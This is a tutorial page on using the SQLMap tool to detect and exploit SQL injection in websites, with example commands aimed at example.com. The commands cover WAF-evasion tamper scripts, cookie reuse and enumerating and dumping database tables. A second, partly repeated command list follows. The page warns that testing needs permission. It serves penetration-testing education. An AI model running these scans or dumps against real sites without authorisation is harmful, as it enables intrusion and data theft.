SQL Tutorial

SQL Clauses / Operators

SQL-Injection

SQL Functions

SQL Queries

PL/SQL

MySQL

SQL Server

Misc

How to use SQLMAP to test a website for SQL Injection vulnerability

SQLMap is a powerful tool for detecting and exploiting SQL injection vulnerabilities in web applications. Here's a basic guide on how to use SQLMap to test a website for SQL injection vulnerabilities:

  1. Installation: Ensure that you have Python installed on your system. Then, you can clone the sqlmap repository from GitHub.

    git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
    
  2. Basic Usage: To test a website, you'll typically supply the vulnerable URL parameter to SQLMap.

    python sqlmap.py -u "http://example.com/page.php?id=1"
    
  3. POST Requests: If the vulnerable parameter is sent through a POST request, you can capture the request using tools like Burp Suite or Fiddler and save it to a text file. You can then point SQLMap to this file.

    python sqlmap.py -r request.txt
    
  4. Cookies: If the website relies on cookies (for instance, if you're authenticated), you can provide them to SQLMap.

    python sqlmap.py -u "http://example.com/page.php?id=1" --cookie="PHPSESSID=abc123; security=low"
    
  5. Tamper Scripts: SQLMap includes tamper scripts that can help bypass web application firewalls and other protections.

    python sqlmap.py -u "http://example.com/page.php?id=1" --tamper=space2comment
    
  6. Database Enumeration: Once you've confirmed an SQL injection vulnerability, you can use SQLMap to enumerate database information.

    # Get database names
    python sqlmap.py -u "http://example.com/page.php?id=1" --dbs
    
    # Get tables from a specific database
    python sqlmap.py -u "http://example.com/page.php?id=1" -D target_database --tables
    
    # Get columns from a specific table
    python sqlmap.py -u "http://example.com/page.php?id=1" -D target_database -T target_table --columns
    
    # Dump data from a specific table
    python sqlmap.py -u "http://example.com/page.php?id=1" -D target_database -T target_table --dump
    
  7. Other Features: SQLMap has numerous advanced features, such as support for time-based blind, error-based, UNION-based, and stacked query SQL injections. You can also automate tasks, evade detection using various techniques, brute-force passwords, and more. Refer to the official documentation for details.

Important Notes:

  • Permission is Key: Only test systems you have explicit permission to test. Unauthorized testing is illegal and unethical.

  • False Positives: Just because SQLMap says a parameter is vulnerable does not necessarily mean it is. Always manually verify vulnerabilities.

  • Stay Updated: Security tools receive updates that address bugs and add new features. Regularly update your tools to get the best results.

Lastly, while tools like SQLMap are powerful and can automate a lot of tasks, it's crucial to understand the underlying principles of SQL injection and how the tool works. This will make your testing more effective and will help you interpret the tool's output correctly.

  1. Install SQLMAP: You can download SQLMAP from its official repository: SQLMAP GitHub.

  2. Basic Usage: Run SQLMAP with the target URL to check for SQL injection:

    sqlmap -u "http://example.com/page?id=1"
    
  3. SQL Injection Testing on Websites using SQLMAP: SQLMAP automates the process of SQL injection testing. Provide the target URL or parameters, and SQLMAP will analyze and attempt to exploit SQL injection vulnerabilities.

  4. Automated SQL Injection Testing with SQLMAP: Use the -u option followed by the target URL to perform automated SQL injection testing:

    sqlmap -u "http://example.com/page?id=1" --batch
    
  5. SQL Injection Detection with SQLMAP: SQLMAP automatically detects SQL injection vulnerabilities. Review the output for identified vulnerabilities.

  6. SQLMAP Commands for Website Vulnerability Testing:

    • Basic URL testing:
      sqlmap -u "http://example.com/page?id=1"
      
    • Batch mode for automated testing:
      sqlmap -u "http://example.com/page?id=1" --batch
      
    • Specify a parameter vulnerable to SQL injection:
      sqlmap -u "http://example.com/page" --data="id=1"
      
  7. SQLMAP Advanced Options for Penetration Testing:

    • Use tamper scripts for evasion:
      sqlmap -u "http://example.com/page?id=1" --tamper=space2comment
      
    • Specify HTTP headers:
      sqlmap -u "http://example.com/page?id=1" --headers="User-Agent: Mozilla/5.0"